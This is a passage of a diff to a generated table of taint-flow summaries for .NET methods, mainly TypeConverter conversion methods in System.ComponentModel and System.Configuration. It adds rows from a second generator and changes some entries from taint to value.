System.ComponentModel;DateTimeOffsetConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;DecimalConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;DefaultBindingPropertyAttribute;DefaultBindingPropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultBindingPropertyAttribute.Name];value;dfc-generated | | System.ComponentModel;DefaultEventAttribute;DefaultEventAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultEventAttribute.Name];value;dfc-generated | | System.ComponentModel;DefaultPropertyAttribute;DefaultPropertyAttribute;(System.String);Argument[0];Argument[this].Property[System.ComponentModel.DefaultPropertyAttribute.Name];value;dfc-generated | @@ -6508,8 +6577,12 @@ | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;EnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;EnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this].Property[System.ComponentModel.EnumConverter.Values];ReturnValue;value;df-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this].Property[System.ComponentModel.EnumConverter.Values];ReturnValue;value;dfc-generated | | System.ComponentModel;EnumConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | @@ -6538,8 +6611,12 @@ | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;GuidConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;GuidConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;HandledEventHandler;BeginInvoke;(System.Object,System.ComponentModel.HandledEventArgs,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.ComponentModel;IBindingList;ApplySort;(System.ComponentModel.PropertyDescriptor,System.ComponentModel.ListSortDirection);Argument[0];Argument[this];taint;df-generated | | System.ComponentModel;IBindingList;Find;(System.ComponentModel.PropertyDescriptor,System.Object);Argument[this].Element;ReturnValue;value;manual | @@ -6617,8 +6694,12 @@ | System.ComponentModel;MemberDescriptor;get_Attributes;();Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;MemberDescriptor;get_DisplayName;();Argument[this].SyntheticField[System.ComponentModel.MemberDescriptor._displayName];ReturnValue;value;dfc-generated | | System.ComponentModel;MemberDescriptor;get_Name;();Argument[this].SyntheticField[System.ComponentModel.MemberDescriptor._name];ReturnValue;value;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;MultilineStringConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;MultilineStringConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;NestedContainer;CreateSite;(System.ComponentModel.IComponent,System.String);Argument[1];ReturnValue.SyntheticField[System.ComponentModel.NestedContainer+Site._name];value;dfc-generated | | System.ComponentModel;NestedContainer;CreateSite;(System.ComponentModel.IComponent,System.String);Argument[this];ReturnValue.SyntheticField[System.ComponentModel.Container+Site.Container];value;dfc-generated | @@ -6629,9 +6710,14 @@ | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;NullableConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;NullableConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;NullableConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;NullableConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;ProgressChangedEventArgs;ProgressChangedEventArgs;(System.Int32,System.Object);Argument[1];Argument[this].SyntheticField[System.ComponentModel.ProgressChangedEventArgs._userState];value;dfc-generated | @@ -6693,8 +6779,12 @@ | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;ReferenceConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;ReferenceConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ReferenceConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;RefreshEventArgs;RefreshEventArgs;(System.Object);Argument[0];Argument[this].Property[System.ComponentModel.RefreshEventArgs.ComponentChanged];value;dfc-generated | | System.ComponentModel;RefreshEventHandler;BeginInvoke;(System.ComponentModel.RefreshEventArgs,System.AsyncCallback,System.Object);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | @@ -6708,13 +6798,21 @@ | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TimeOnlyConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TimeOnlyConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TimeSpanConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TimeSpanConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;ToolboxItemAttribute;ToolboxItemAttribute;(System.String);Argument[0];Argument[this].SyntheticField[System.ComponentModel.ToolboxItemAttribute._toolboxItemTypeName];value;dfc-generated | | System.ComponentModel;ToolboxItemAttribute;get_ToolboxItemTypeName;();Argument[this].SyntheticField[System.ComponentModel.ToolboxItemAttribute._toolboxItemTypeName];ReturnValue;value;dfc-generated | | System.ComponentModel;ToolboxItemFilterAttribute;ToString;();Argument[this].Property[System.ComponentModel.ToolboxItemFilterAttribute.FilterString];ReturnValue;taint;dfc-generated | @@ -6731,18 +6829,25 @@ | System.ComponentModel;TypeConverter;ConvertFromString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.String);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeConverter;ConvertFromString;(System.ComponentModel.ITypeDescriptorContext,System.String);Argument[1];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeConverter;ConvertFromString;(System.String);Argument[0];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | -| System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertTo;(System.Object,System.Type);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToInvariantString;(System.Object);Argument[this];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[1].Property[System.Globalization.CultureInfo.TextInfo].Property[System.Globalization.TextInfo.ListSeparator];ReturnValue;taint;dfc-generated | -| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[this];ReturnValue;taint;df-generated | -| System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[0];ReturnValue;taint;df-generated | +| System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[0];ReturnValue;value;df-generated | | System.ComponentModel;TypeConverter;ConvertToString;(System.Object);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object);Argument[1];ReturnValue;taint;df-generated | | System.ComponentModel;TypeConverter;GetProperties;(System.ComponentModel.ITypeDescriptorContext,System.Object,System.Attribute[]);Argument[1];ReturnValue;taint;df-generated | @@ -6776,15 +6881,23 @@ | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;TypeListConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;TypeListConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;TypeListConverter;GetStandardValues;(System.ComponentModel.ITypeDescriptorContext);Argument[this];ReturnValue;taint;df-generated | | System.ComponentModel;TypeListConverter;TypeListConverter;(System.Type[]);Argument[0].Element;Argument[this];taint;df-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.ComponentModel;VersionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.ComponentModel;VersionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.ComponentModel;WarningException;WarningException;(System.String,System.String,System.String);Argument[1];Argument[this].Property[System.ComponentModel.WarningException.HelpUrl];value;dfc-generated | | System.ComponentModel;WarningException;WarningException;(System.String,System.String,System.String);Argument[2];Argument[this].Property[System.ComponentModel.WarningException.HelpTopic];value;dfc-generated | | System.Configuration.Internal;IConfigErrorInfo;get_Filename;();Argument[this];ReturnValue;taint;df-generated | @@ -6861,8 +6974,12 @@ | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;CommaDelimitedStringCollectionConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;df-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[0];ReturnValue;taint;dfc-generated | | System.Configuration;ConfigXmlDocument;CreateAttribute;(System.String,System.String,System.String);Argument[1];ReturnValue;taint;df-generated | @@ -7027,20 +7144,32 @@ | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue.Element;taint;dfc-generated | | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;taint;dfc-generated | | System.Configuration;GenericEnumConverter;ConvertFrom;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object);Argument[2];ReturnValue;value;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;df-generated | | System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2].Element;ReturnValue;taint;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;df-generated | | System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;taint;dfc-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;df-generated | +| System.Configuration;GenericEnumConverter;ConvertTo;(System.ComponentModel.ITypeDescriptorContext,System.Globalization.CultureInfo,System.Object,System.Type);Argument[2];ReturnValue;value;dfc-generated | | 